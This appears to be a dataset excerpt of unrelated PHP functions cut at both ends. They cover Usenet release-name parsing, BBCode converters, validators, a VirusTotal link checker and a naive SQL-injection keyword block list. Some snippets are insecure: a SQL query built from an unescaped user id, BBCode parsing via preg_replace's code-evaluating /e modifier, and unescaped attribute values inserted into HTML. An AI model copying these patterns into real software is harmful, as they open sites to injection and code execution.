{\n\t\t\treturn $match[1];\n\t\t} //<<<usenet-space-cowboys.info>>> USC <<<Powered by https://secretusenet.com><Medieval Wii Pal>< \"Medieval Wii Pal.vol108+29.par2\" >< 60/60 (4,82 GB) >< 95,77 MB > yEnc\n\t\tif (preg_match('/^.+?usenet-space.+?Powered by.+? ([\\w. ()-]{8,}?\\b)' . $this->e0 .\n\t\t\t\t\t '.+? \\d+\\/(\\d+.+?)$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //W33d5.S01.720p.BluRay.x264 - \"W33d5.S01.720p.BluRay.x264.part63.rar\" yEnc\n\t\tif (preg_match('/^[\\w. -]+[-_\\s]{0,3}\"([\\w.()-]{8,}?\\b)' . $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //Man.Of.Steel.2013.BRRip.x264.AC3-UNiQUE - [02/38] - \"Man.Of.Steel.2013.BRRip.x264.AC3-UNiQUE.part01.rar\" yEnc\n\t\tif (preg_match('/^[\\w. -]+[-_\\s]{0,3}\\[\\d+\\/\\d+\\][-_\\s]{0,3}\"([\\w.()-]{8,}?\\b)' . $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //>GOU<< XUS Clock Plus v1.5.0 with Key [TorDigger].PAR2 >>www.SSL-News.info< yEnc\n\t\tif (preg_match('/^>GOU<< ([\\w.\\[\\]() -]{8,}?\\b)([-_](proof|sample|thumbs?))*(\\.part\\d*(\\.rar)?|\\.rarr|\\.7z)?(\\d{1,3}\\.rev|\\.vol.+?|\\.[A-Za-z0-9]{2,4}).+www\\.SSL-News\\.info<[-_\\s]{0,3}yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //Man.Of.Steel.2013.BRRip.x264.AC3-UNiQUE - [02/38] - \"Man.Of.Steel.2013.BRRip.x264.AC3-UNiQUE.part01.rar\" yEnc\n\t\tif (preg_match('/^[\\w. -]+[-_\\s]{0,3}\\[\\d+\\/\\d+\\][-_\\s]{0,3}\"([\\w.()-]{8,}?\\b)' . $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //>GOU<< XUS Clock Plus v1.5.0 with Key [TorDigger].PAR2 >>www.SSL-News.info< yEnc\n\t\tif (preg_match('/^>GOU<< ([\\w.\\[\\]() -]{8,}?\\b)([-_](proof|sample|thumbs?))*(\\.part\\d*(\\.rar)?|\\.rarr|\\.7z)?(\\d{1,3}\\.rev|\\.vol.+?|\\.[A-Za-z0-9]{2,4}).+www\\.SSL-News\\.info<[-_\\s]{0,3}yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //\"Drains_READNFO-VACE.nfo\" yEnc\n\t\tif (preg_match('/^\"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' . $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t}\n\t\treturn array(\n\t\t\t\"cleansubject\" => $this->releaseCleanerHelper($this->subject), \"properlynamed\" => false\n\t\t);\n\t}", "function check_reffer_code() {\n\t\t$reffer_code = $_REQUEST['reffer_code'];\n\t\tif (!empty($reffer_code)) {\n\t\t\t$reffer_records = $this -> conn -> get_table_row_byidvalue('user', 'user_refferal_code', $reffer_code);\n\t\t\tif (!empty($reffer_records)) {\n\t\t\t\t$user_id = $reffer_records[0]['user_id'];\n\t\t\t\t$user_reffer_code = $reffer_records[0]['user_refferal_code'];\n\n\t\t\t\t//if($user_reffer_code==$reffer_code){\n\t\t\t\tif (strcmp($user_reffer_code, $reffer_code) == 0) {\n\t\t\t\t\t$post = array(\"status\" => \"true\", \"message\" => \"Reffer code avalible\", 'reffer_code' => $reffer_code, 'user_id' => $user_id);\n\t\t\t\t} else {\n\t\t\t\t\t$post = array(\"status\" => \"false\", \"message\" => \"Invalid reffer code\");\n\t\t\t\t}\n\n\t\t\t} else {\n\t\t\t\t$post = array(\"status\" => \"false\", \"message\" => \"Invalid reffer code\");\n\t\t\t}\n\t\t} else {\n\t\t\t$post = array(\"status\" => \"false\", \"message\" => \"Missing parameter\", 'reffer_code' => $reffer_code);\n\t\t}\n\t\techo $this -> json($post);\n\t}", "function limpiarcadena($char)\n{\n\t$ban=0;//Bandera para saber si estan ejecutando una Inyeccion SQL\n\t$char_w_replaced = stripslashes($char);//Guardamos la Inyeccion original para informacion a la BD\n\t//Array con las palabras reservadas, para modificar a gusto :D\n\t$hack_array = array(\"'\", '\"', \";\", \"UNION\", \"union\", \"DROP\", \"drop\", \"table\", \"TABLE\", \"SET\", \"set\", \"UPDATE\", \"update\", \"SELECT\", \"select\", \"-\", \"--\", \"MEMB_INFO\", \"memb_info\", \"memb__pwd\", \"memb___id\"); //Caracter por el que será reemplazada cada palabra reservada del sitio\n\t$hack_replace = \"\"; //Separamos la cadena en un Array para poder hacer la comparacion y determinar si estan\n\t//ejecutando o no una Inyeccion SQL\n\t$char1=explode(\" \",$char);\n\tfor($i=0;$i<count($char1);$i++)\n\t{\n\t\tif(in_array($char1[$i],$hack_array))//si se quiere se puede convertir todo a mayusculas para la comprobacion.\n\t\t{\n\t \t\t$ban=1;\n\t\t}\n\t}\n\t\n\tif ($ban==1)\n\t{\n\t\t$add=\"ESTAS HACKEANDO SI SI\"; \t\n\t}\n\telse \n\t{\n\t\t$add=\"NO ESTAS HACKEANDO\"; \n\t\t//seguir con los procesos del POST o GET sin guardar ips ni nada\n\t} \n\t\n\t//reemplazamos las palabras reservadas\n\t$char_replaced = str_replace($hack_array, $hack_replace, $char);\n\t//evitamos codigos html y espacios en blanco\n\t$char_clean=htmlentities(trim($char_replaced)); //retornamos la cadena limpia para usar en nuestra consulta, o podemos devolver segun el resultado de ban\n\t//un die para no ejecutar nada o como se les ocurra\n\treturn $char_clean;\n}", "public function bloaf()\n\t{\n\t\tif (preg_match('/^([a-f0-9]{32}) - \\(\\d+\\/\\d+\\) - \"[a-f0-9]{32}.+?\" yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //[10/17] - \"EGk13kQ1c8.part09.rar\" - 372.48 MB <-> usenet-space-cowboys.info <-> powered by secretusenet.com <-> yEnc\n\t\tif (preg_match('/^\\[\\d+\\/\\d+\\] - \"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' . $this->e0 .\n\t\t\t\t\t ' - \\d+[,.]\\d+ [mMkKgG][bB] .+? usenet-space.+?yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //(Neu bei Bitfighter vom 23-07-2013) - \"01 - Sido - Bilder Im Kopf.mp3\" yEnc\n\t\tif (preg_match('/^\\((.+?)\\) - \".+?\" yEnc$/', $this->subject, $match)) {\n\t\t\treturn $match[1];\n\t\t} //(2/8) \"Mike.und.Molly.S01E22.Maennergespraeche.GERMAN.DL.DUBBED.720p.BluRay.x264-TVP.part1.rar\" - 1023,92 MB - yEnc\n\t\tif (preg_match('/^\\(\\d+\\/\\d+\\) \"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' . $this->e0 .\n\t\t\t\t\t ' - \\d+[,.]\\d+ [mMkKgG][bB] - yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //4y (PW) [@ usenet-4all.info - powered by ssl.news -] [27,35 GB] [001/118] \"1f8867bb6f89491793d3.part001.rar\" yEnc\n\t\tif (preg_match('/^.+? (-|\\(PW\\))\\s+\\[.+? -\\] \\[\\d+[,.]\\d+ [mMkKgG][bB]\\] \\[\\d+\\/\\d+\\] \"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //Bennos Special Tools DVD - Die Letzte <> DRM <><> PW <> - (002/183) \"Bennos Special Tools DVD - Die Letzte.nfo\" - 8,28 GB - yEnc\n\t\tif (preg_match('/^(\\[[A-Za-z]+\\]\\.)?([a-zA-Z0-9].+?)([\\^<> ]+give-me-all\\.org[\\^<> ]+|[\\^<> ]+)DRM[\\^<> ]+.+? - \\(\\d+\\/\\d+\\)\\s+\".+?\" - .+? yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[2];\n\t\t}\n\t\t//(1/9) - CyberLink.PhotoDirector.4.Ultra.4.0.3306.Multilingual - \"CyberLink.PhotoDirector.4.Ultra.4.0.3306.Multilingual.par2\" - 154,07 MB - yEnc\n\t\t//(1/5) - Mac.DVDRipper.Pro.4.0.8.Mac.OS.X- \"Mac.DVDRipper.Pro.4.0.8.Mac.OS.X.rar\" - 24,12 MB - yEnc\n\t\tif (preg_match('/^\\(\\d+\\/\\d+\\) - (.+?) ?- \".+?\" - \\d+[,.]\\d+ [mMkKgG][bB] - yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //[3/3 Helene Fischer - Die Biene Maja 2013 MP3 Helene Fischer - Die Biene Maja 2013 MP3.mp3.vol0+1.PAR2\" yEnc\n\t\tif (preg_match('/^\\[\\d+\\/\\d+ (.+?)\\..+?\" yEnc$/', $this->subject, $match)) {\n\t\t\treturn $match[1];\n\t\t} //Uploader.Presents-Mutter.und.Sohn.German.2013.DVDRiP.x264-XFi[01/27]\"xf-mutterusohn.nfo\" yEnc\n\t\tif (preg_match('/^Uploader\\.Presents-(.+)[\\(\\[]\\d+\\/\\d+[\\)\\]]\".+\" yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t}\n\t\treturn array(\n\t\t\t\"cleansubject\" => $this->releaseCleanerHelper($this->subject), \"properlynamed\" => false\n\t\t);\n\t}", "function isVacia($palabra)\n{\n\t$palabrasVacias = array(\"&\",\"^^\",\"www\", \"http\",\"com\",\"\",\"-\",\"I\",\"a\",\"about\",\"above\",\"after\",\"again\",\"against\",\"all\",\"am\",\"an\",\"and\",\"any\",\"are\",\"aren't\",\"as\",\"at\",\"be\",\"because\",\"been\",\"before\",\"being\",\"below\",\"between\",\"both\",\"but\",\"by\",\"can't\",\"cannot\",\"could\",\"couldn't\",\"did\",\"didn't\",\"do\",\"does\",\"doesn't\",\"doing\",\"don't\",\"down\",\"during\",\"each\",\"few\",\"for\",\"from\",\"further\",\"had\",\"hadn't\",\"has\",\"hasn't\",\"have\",\"haven't\",\"having\",\"he\",\"he'd\",\"he'll\",\"he's\",\"her\",\"here\",\"here's\",\"hers\",\"herself\",\"him\",\"himself\",\"his\",\"how\",\"how's\",\"i\",\"i'd\",\"i'll\",\"i'm\",\"i've\",\"if\",\"in\",\"into\",\"is\",\"isn't\",\"it\",\"it's\",\"its\",\"itself\",\"let's\",\"me\",\"more\",\"most\",\"mustn't\",\"my\",\"myself\",\"no\",\"nor\",\"not\",\"of\",\"off\",\"on\",\"once\",\"only\",\"or\",\"other\",\"ought\",\"our\",\"ours\",\"ourselves\",\"out\",\"over\",\"own\",\"same\",\"shan't\",\"she\",\"she'd\",\"she'll\",\"she's\",\"should\",\"shouldn't\",\"so\",\"some\",\"such\",\"than\",\"that\",\"that's\",\"the\",\"their\",\"theirs\",\"them\",\"themselves\",\"then\",\"there\",\"there's\",\"these\",\"they\",\"they'd\",\"they'll\",\"they're\",\"they've\",\"this\",\"those\",\"through\",\"to\",\"too\",\"under\",\"until\",\"up\",\"very\",\"was\",\"wasn't\",\"we\",\"we'd\",\"we'll\",\"we're\",\"we've\",\"were\",\"weren't\",\"what\",\"what's\",\"when\",\"when's\",\"where\",\"where's\",\"which\",\"while\",\"who\",\"who's\",\"whom\",\"why\",\"why's\",\"with\",\"won't\",\"would\",\"wouldn't\",\"you\",\"you'd\",\"you'll\",\"you're\",\"you've\",\"your\",\"yours\",\"yourself\",\"yourselves\");\n\tforeach ($palabrasVacias as $vacia){\n\t\tif($palabra==$vacia){\n\t\t\treturn true;\n\t\t}\n\t}\n return false;\n}", "function cs_safebalises($texte) {\r\n\t$texte = trim($texte);\r\n\t// ouvre/supprime la premiere balise trouvee fermee (attention aux modeles SPIP)\r\n\tif(preg_match(',^(.*)</([a-z]+)>,Ums', $texte, $m) && !preg_match(\",<$m[2][ >],\", $m[1])) \r\n\t\t$texte = strlen($m[1])?\"<$m[2]>$texte\":trim(substr($texte, strlen($m[2])+3));\r\n\t// referme/supprime la derniere balise laissee ouverte (attention aux modeles SPIP)\r\n\tif(preg_match(',^(.*)[ >]([a-z]+)<,Ums', $rev = strrev($texte), $m) && !preg_match(\",>$m[2]/<,\", $m[1])) \r\n\t\t$texte = strrev(strlen($m[1])?\">$m[2]/<$rev\":trim(substr($rev, strlen($m[2])+2)));\r\n\t// balises <p|span|div> a traiter\r\n\tforeach(array('span', 'div', 'p') as $b) {\r\n\t\t// ouvrante manquante\r\n\t\tif(($fin = strpos($texte, \"</$b>\")) !== false)\r\n\t\t\tif(!preg_match(\",<{$b}[ >],\", substr($texte, 0, $fin)))\r\n\t\t\t\t$texte = \"<$b>$texte\";\r\n\t\t// fermante manquante\r\n\t\t$texte = strrev($texte);\r\n\t\tif(preg_match(',[ >]'.strrev(\"<{$b}\").',', $texte, $reg)) {\r\n\t\t\t$fin = strpos(substr($texte, 0, $deb = strpos($texte, $reg[0])), strrev(\"</$b>\"));\r\n\t\t\tif($fin===false || $fin>$deb) $texte = strrev(\"</$b>\").$texte;\r\n\t\t}\r\n\t\t$texte = strrev($texte);\r\n\t}\r\n\treturn $texte;\r\n}", "function description_vide(){\n\t\tglobal $infos_id;\n\t\tif($infos_id['description'] == \"\"){\n\t\t\treturn \"Aucune description\";\n\t\t}else{\n\t\t\treturn $infos_id['description'];\n\t\t}\n\t}", "function code($texte)\r\n{\r\n//gras\r\n$texte = preg_replace('`\\[g\\](.+)\\[/g\\]`isU', '<strong>$1</strong>', $texte); \r\n//italique\r\n$texte = preg_replace('`\\[i\\](.+)\\[/i\\]`isU', '<em>$1</em>', $texte);\r\n//souligné\r\n$texte = preg_replace('`\\[s\\](.+)\\[/s\\]`isU', '<u>$1</u>', $texte);\r\n//lien\r\n$texte = preg_replace('#http://[a-z0-9._/-]+#i', '<a href=\"$0\">$0</a>', $texte);\r\n\r\n//On retourne la variable texte\r\nreturn $texte;\r\n}", "function bbcodes($reactie) \n { \n \n // Vet, schuin, etc V\n $reactie = preg_replace(\"/\\[b\\](.+?)\\[\\/b\\]/is\",'<strong>\\1</strong>', $reactie);\n $reactie = preg_replace(\"/\\[i\\](.+?)\\[\\/i\\]/is\",'<em>\\1</em>', $reactie);\n $reactie = preg_replace(\"/\\[u\\](.+?)\\[\\/u\\]/is\",'<u>\\1</u>', $reactie);\n $reactie = preg_replace(\"/\\[s\\](.+?)\\[\\/s\\]/is\",'<s>\\1</s>', $reactie);\n\n\t//quote box.\t \n\t$reactie = preg_replace(\"/\\[quote\\](.+?)\\[\\/quote\\]/is\",'<br /><center><fieldset style=\"color: #000000; border: 1px solid #000000; width: 90%; text-align: left; padding: 5px;\">\n<legend style=\"color: #999999; font-weight: bold;\">Quote.</legend>\\1</fieldset></center><br />', $reactie);\n\t \t \n // Color, font & size V\n $reactie = preg_replace (\"#\\[color=(\\#[0-9A-F]{6}|[a-z\\-]+)\\](.*?)\\[/color\\]#si\", \"<font color=\\\"\\\\1\\\">\\\\2</font>\", $reactie);\n $reactie = preg_replace (\"/\\[font=(.*)\\](.*)\\[\\/font\\]/\", \"<font face=\\\"\\\\1\\\">\\\\2</font>\", $reactie);\n $reactie = preg_replace (\"/\\[size=(.*)\\](.*)\\[\\/size\\]/\", \"<font size=\\\"\\\\1\\\">\\\\2</font>\", $reactie);\n\t\n // Diversen V\n $reactie = str_replace (\"[left]\", \"<div align=left>\", $reactie);\n $reactie = str_replace (\"[/left]\", \"</div>\", $reactie);\n $reactie = str_replace (\"[center]\", \"<div align=\\\"center\\\">\", $reactie);\n $reactie = str_replace (\"[/center]\", \"</div>\", $reactie);\n $reactie = str_replace (\"[right]\", \"<div align=\\\"right\\\">\", $reactie);\n $reactie = str_replace (\"[/right]\", \"</div>\", $reactie);\n \n // Horizontale lijn V\n $reactie = str_replace (\"[hr]\",\"<hr color=\\\"#000000\\\" noshade />\",$reactie);\n \n // Lijst - Unorderd V\n $reactie = str_replace (\"[list]\",\"<ul>\",$reactie);\n $reactie = str_replace (\"[*]\",\"<li>\",$reactie);\n $reactie = str_replace (\"[/list]\",\"</li></ul>\",$reactie);\n \n\t// list orderd.\n\t\n\t$reactie = str_replace (\"[order]\",\"<ol>\",$reactie);\n $reactie = str_replace (\"[*]\",\"<li>\",$reactie);\n $reactie = str_replace (\"[/order]\",\"</li></ol>\",$reactie);\n\t \n return $reactie; \n }", "function add_comScore(){ ?>\n\n\t<!-- Begin comScore Inline Tag 1.1302.13 -->\n\t<script type=\"text/javascript\" language=\"JavaScript1.3\" src=\"http://b.scorecardresearch.com/c2/9734177/ct.js\"></script>\n\t<!-- End comScore Inline Tag -->\n\n<?php\n}", "function Comprobar_codcentro()\n{\n\t$correcto = true;\n\n\t//si se cumple la condicion\n\tif (strlen($this->CODCENTRO)<3)\n\t{\n\t\t$error = array();\n\t\t\n\t\t//guarda un mensaje de error\n\t\tarray_push($error, \"CODCENTRO\");\n\t\t//guarda un mensaje de error\n\t\tarray_push($error, \"00003\");\n\t\t//guarda un mensaje de error\n\t\tarray_push($error, \"Valor de atributo no numérico demasiado corto\");\n\n\t\t//guarda un mensaje de error\n\t\tarray_push($this->erroresdatos, $error);\n\t\t$correcto = false;\n\t}\n\t//si se cumple la condicion\n\tif (strlen($this->CODCENTRO)>10)\n\t{\n\t\t$error = array();\n\t\t\n\t\t//guarda un mensaje de error\n\t\tarray_push($error, \"CODCENTRO\");\n\t\t//guarda un mensaje de error\n\t\tarray_push($error, \"00002\");\n\t\t//guarda un mensaje de error\n\t\tarray_push($error, \"Valor de atributo demasiado largo\");\n\n\t\t//guarda un mensaje de error\n\t\tarray_push($this->erroresdatos, $error);\n\t\t$correcto = false;\n\t}\n\t//si se cumple la condicion\n\tif (!preg_match(\"/^[A-Za-zñáéíóúÑÁÉÍÓÚüÜ\\-0-9]+$/\",$this->CODCENTRO)){\n\t\t$error = array();\n\t\t\n\t\t//guarda un mensaje de error\n\t\tarray_push($error, \"CODCENTRO\");\n\t\t//guarda un mensaje de error\n\t\tarray_push($error, \"00040\");\n\t\t//guarda un mensaje de error\n\t\tarray_push($error, \"Solo están permitidas alfabéticos, números y el “-”\");\n\n\t\t//guarda un mensaje de error\n\t\tarray_push($this->erroresdatos, $error);\n\t\t$correcto = false;\n\t}\n\t\n\treturn $correcto;//se devuelve el resultado\n}", "public function avveda_verse_callback($matches0) {\n $dbg=false;\n $x0 = $matches0[0];\n $x1 = $matches0[1];\n if(! preg_match('|^AV[.] ([0-9]+),([0-9]+),([0-9]+)(.*)$|',$x1,$matches)) {\n dbgprint($dbg,\"avveda_verse_callback: error. x1=$x1\\n\");\n return $x0;\n }\n $gra1 = $matches[1]; // mandala\n $gra2 = $matches[2]; // hymn\n $gra3 = $matches[3]; // verse\n $gra4 = $matches[4]; // rest of stuff before closing }\n dbgprint($dbg,\"avveda_verse_callback: gra1=$gra1, gra2=$gra2, gra3=$gra3\\n\");\n\n $imandala = (int)$gra1;\n $ihymn = (int)$gra2;\n $hymnfilepfx = sprintf(\"av%02d.%03d\",$imandala,$ihymn);\n $hymnfile = \"$hymnfilepfx.html\";\n $iverse = (int)$gra3;\n $versesfx = sprintf(\"%02d\",$iverse);\n $anchor = \"$hymnfilepfx.$versesfx\";\n\n # 2018-08-30 use github location\n $dir = \"https://sanskrit-lexicon.github.io/avlinks/avhymns\";\n $href = \"$dir/$hymnfile#$anchor\";\n $tooltip = sprintf(\"Atharva Veda %02d.%03d.%02d\",$imandala,$ihymn,$iverse);\n // 04-03-2021\n $x = \"<gralink href='$href' n='$tooltip'>$x1</gralink>\";\n return $x;\n}", "function virustotalscan_check_url($link, $text, $more = \" \", $key)\r\n{\r\n global $lang;\r\n // se adauga fisierul de limba\r\n $lang->load('virustotalscan');\r\n // mai intai se verifica daca nu cumva existe un raport in baza de date\r\n $retrieve = virustotalscan_get_url_report($link, $key); \r\n // daca exista se verifica ca nu cumva sa fie vechi\r\n if ($retrieve && isset($retrieve['report'][0])) \r\n {\r\n if (function_exists('date_default_timezone_set')) {\r\n date_default_timezone_set('UTC');\r\n } \r\n // verificam timpul\r\n $report_date = strtotime($retrieve['report'][0]);\r\n // crearea intervalul de rescanare\r\n $interval = \"+\".intval($mybb->settings['virustotalscan_setting_url_rescan']).\" day\";\r\n $max = strtotime($interval, $report_date);\r\n //$max_time = date('Y-m-d H:i:s', $max);\r\n if ($max < TIME_NOW) {\r\n // daca timpul e depasit, atunci se realizeaza o rescanare\r\n $retrieve = virustotalscan_get_url_report($link, $key, 1);\r\n }\r\n if ($retrieve && isset($retrieve['scan_id'])) \r\n {\r\n // dupa rescanare se intoarce raportul\r\n $retrieve = virustotalscan_get_url_report($retrieve['scan_id'], $key);\r\n if ($retrieve && isset($retrieve['report'][0])) \r\n {\r\n // totul e bine\r\n // exista virusi ?\r\n // numarul de elemente\r\n $total = count($retrieve['report'][1]);\r\n // innumaram de cate ori apare textul \"Clean site\" si \"Error\"\r\n $count_array = array_count_values($retrieve['report'][1]);\r\n $number_clean = 0;\r\n if (isset($count_array['Clean site'])) {\r\n $number_clean = intval($count_array['Clean site']);\r\n }\r\n $number_error = 0;\r\n if (isset($count_array['Error'])) {\r\n $number_error = intval($count_array['Error']);\r\n } \r\n $protection = ($mybb->settings['virustotalscan_setting_url_protection']) ? intval($mybb->settings['virustotalscan_setting_url_protection']) : 50;\r\n if (floatval($number_clean - $number_error) >= floatval($protection) * floatval($total - $number_error) / 100) {\r\n // in acest caz adresa URL este curata\r\n return $lang->sprintf($lang->virustotalscan_link_notfound, $link, $more, $text);\r\n }\r\n else {\r\n // altfel exista virusi\r\n return $lang->sprintf($lang->virustotalscan_link_found, $link, $more, $text, $retrieve['file-report']);\r\n }\r\n }\r\n else {\r\n // daca raportul primt nu e corect, se considera a fi o adresa web in regula\r\n return $lang->sprintf($lang->virustotalscan_link_notfound, $link, $more, $text);\r\n }\r\n }\r\n else {\r\n // daca nu a fost nevoie de o rescanare\r\n // facem teste pentru existenta virusilor ?\r\n // numarul de elemente din vector\r\n $total = count($retrieve['report'][1]);\r\n // innumaram de cate ori apare textul \"Clean site\" si \"Error\"\r\n $count_array = array_count_values($retrieve['report'][1]);\r\n $number_clean = 0;\r\n if (isset($count_array['Clean site'])) {\r\n $number_clean = intval($count_array['Clean site']);\r\n }\r\n $number_error = 0;\r\n if (isset($count_array['Error'])) {\r\n $number_error = intval($count_array['Error']);\r\n } \r\n $protection = ($mybb->settings['virustotalscan_setting_url_protection']) ? intval($mybb->settings['virustotalscan_setting_url_protection']) : 50;\r\n if (floatval($number_clean - $number_error) >= floatval($protection) * floatval($total - $number_error) / 100) {\r\n // in acest caz adresa URL este curata\r\n return $lang->sprintf($lang->virustotalscan_link_notfound, $link, $more, $text);\r\n }\r\n else {\r\n // altfel exista virusi\r\n return $lang->sprintf($lang->virustotalscan_link_found, $link, $more, $text, $retrieve['file-report']);\r\n }\r\n }\r\n }\r\n else {\r\n // ce se intampla daca nu exista un raport in sistem ?\r\n // raspuns : se face o scanare\r\n $retrieve = virustotalscan_get_url_report($link, $key, 1);\r\n if ($retrieve && isset($retrieve['scan_id'])) \r\n {\r\n // dupa rescanare se intoarce raportul\r\n $retrieve = virustotalscan_get_url_report($retrieve['scan_id'], $key);\r\n if ($retrieve && isset($retrieve['report'][0])) \r\n {\r\n // totul e bine\r\n // exista virusi ?\r\n // numarul de elemente\r\n $total = count($retrieve['report'][1]);\r\n // innumaram de cate ori apare textul \"Clean site\" si \"Error\"\r\n $count_array = array_count_values($retrieve['report'][1]);\r\n $number_clean = 0;\r\n if (isset($count_array['Clean site'])) {\r\n $number_clean = intval($count_array['Clean site']);\r\n }\r\n $number_error = 0;\r\n if (isset($count_array['Error'])) {\r\n $number_error = intval($count_array['Error']);\r\n } \r\n $protection = ($mybb->settings['virustotalscan_setting_url_protection']) ? intval($mybb->settings['virustotalscan_setting_url_protection']) : 50;\r\n if (floatval($number_clean - $number_error) >= floatval($protection) * floatval($total - $number_error) / 100) {\r\n // in acest caz adresa URL este curata\r\n return $lang->sprintf($lang->virustotalscan_link_notfound, $link, $more, $text);\r\n }\r\n else {\r\n // altfel exista virusi\r\n return $lang->sprintf($lang->virustotalscan_link_found, $link, $more, $text, $retrieve['file-report']);\r\n }\r\n }\r\n else {\r\n // daca raportul primt nu e corect, se considera a fi o adresa web in regula\r\n return $lang->sprintf($lang->virustotalscan_link_notfound, $link, $more, $text);\r\n }\r\n }\r\n else {\r\n // nu s-a intors niciun scan_id\r\n // presupunem ca totul e in regula\r\n return $lang->sprintf($lang->virustotalscan_link_notfound, $link, $more, $text);\r\n }\r\n }\r\n}", "function renderTellIfCommonUser_checkRGB($theUserId) {\n require_once (\"conn/config.php\");\n require_once (\"classes/database.php\");\n //--------------------\n $database = new mysqldatabase();\n $post_privacy_counter = 0;\n $suggest_privacy_msg_handler = \"\";\n $sql_privacy_posts = \"SELECT * FROM ogenius_nds_db_normal_users WHERE ogenius_nds_db_normal_users_id='{$theUserId}' ORDER BY ogenius_nds_db_normal_users_id DESC LIMIT 1\";\n if ($query_privacy_posts = $database->query($sql_privacy_posts)) {\n //---------------------\n while ($res_privacy_posts = mysqli_fetch_array($query_privacy_posts)) {\n if ($res_privacy_posts['ogenius_nds_db_normal_users_user_vip_tag'] == 0) {\n\n\n return TRUE;\n } else if ($res_privacy_posts['ogenius_nds_db_normal_users_user_vip_tag'] == 1) {\n //----------institution\n return FALSE;\n }\n }\n //------------------\n }\n}", "public function convertBBCodetoHTML($p_text)\n\t\t{\n //$p_text = preg_replace('`\\[EMAIL\\]([^\\[]*)\\[/EMAIL\\]`i','<a href=\"mailto:\\\\1\">\\\\1</a>',$p_text);\n //$p_text = preg_replace('`\\[EMAIL\\](.*?)\\[/EMAIL\\]`i','<a href=\"mailto:\\\\1\">\\\\1</a>',$p_text);\n // Information : Double [/email][/email] to avoid end of email area\n $p_text = preg_replace('`\\[email\\](.*?(\\[/email\\]\\[/email\\].*?)*)\\[/email\\](?!(\\[/email\\]))`ie','\"<a href=\\\"mailto:\".str_replace(\"[/email][/email]\",\"[/email]\",\"\\\\1\").\"\\\">\".str_replace(\"[/email][/email]\",\"[/email]\",\"\\\\1\").\"</a>\"',$p_text);\n\n //$p_text = preg_replace('`\\[b\\]([^\\[]*)\\[/b\\]`i','<b>\\\\1</b>',$p_text); // Generation 1 : First [ or ] encounter stop translation\n //$p_text = preg_replace('`\\[b\\](.*?)\\[/b\\]`i','<b>\\\\1</b>',$p_text); // Generation 2 : Can't bold string [/b]\n // Generation 3 : Information : Double [/b][/b] to avoid end of bold area\n $p_text = preg_replace('`\\[b\\](.*?(\\[/b\\]\\[/b\\].*?)*)\\[/b\\](?!(\\[/b\\]))`ie','\"<b>\".str_replace(\"[/b][/b]\",\"[/b]\",\"\\\\1\").\"</b>\"',$p_text);\n\n //$p_text = preg_replace('`\\[i\\]([^\\[]*)\\[/i\\]`i','<i>\\\\1</i>',$p_text);\n //$p_text = preg_replace('`\\[i\\](.*?)\\[/i\\]`i','<i>\\\\1</i>',$p_text);\n // Information : Double [/i][/i] to avoid end of italic area\n $p_text = preg_replace('`\\[i\\](.*?(\\[/i\\]\\[/i\\].*?)*)\\[/i\\](?!(\\[/i\\]))`ie','\"<i>\".str_replace(\"[/i][/i]\",\"[/i]\",\"\\\\1\").\"</i>\"',$p_text);\n\n //$p_text = preg_replace('`\\[u\\]([^\\[]*)\\[/u\\]`i','<u>\\\\1</u>',$p_text);\n //$p_text = preg_replace('`\\[u\\](.*?)\\[/u\\]`i','<u>\\\\1</u>',$p_text);\n // Information : Double [/u][/u] to avoid end of underline area\n $p_text = preg_replace('`\\[u\\](.*?(\\[/u\\]\\[/u\\].*?)*)\\[/u\\](?!(\\[/u\\]))`ie','\"<u>\".str_replace(\"[/u][/u]\",\"[/u]\",\"\\\\1\").\"</u>\"',$p_text);\n\n //$p_text = preg_replace('`\\[s\\]([^\\[]*)\\[/s\\]`i','<s>\\\\1</s>',$p_text);\n //$p_text = preg_replace('`\\[s\\](.*?)\\[/s\\]`i','<s>\\\\1</s>',$p_text);\n // Information : Double [/s][/s] to avoid end of stroke line area\n $p_text = preg_replace('`\\[s\\](.*?(\\[/s\\]\\[/s\\].*?)*)\\[/s\\](?!(\\[/s\\]))`ie','\"<s>\".str_replace(\"[/s][/s]\",\"[/s]\",\"\\\\1\").\"</s>\"',$p_text);\n\n //$p_text = preg_replace('`\\[center\\]([^\\[]*)\\[/center\\]`','<p style=\"text-align: center;\">\\\\1</p>',$p_text);\n //$p_text = 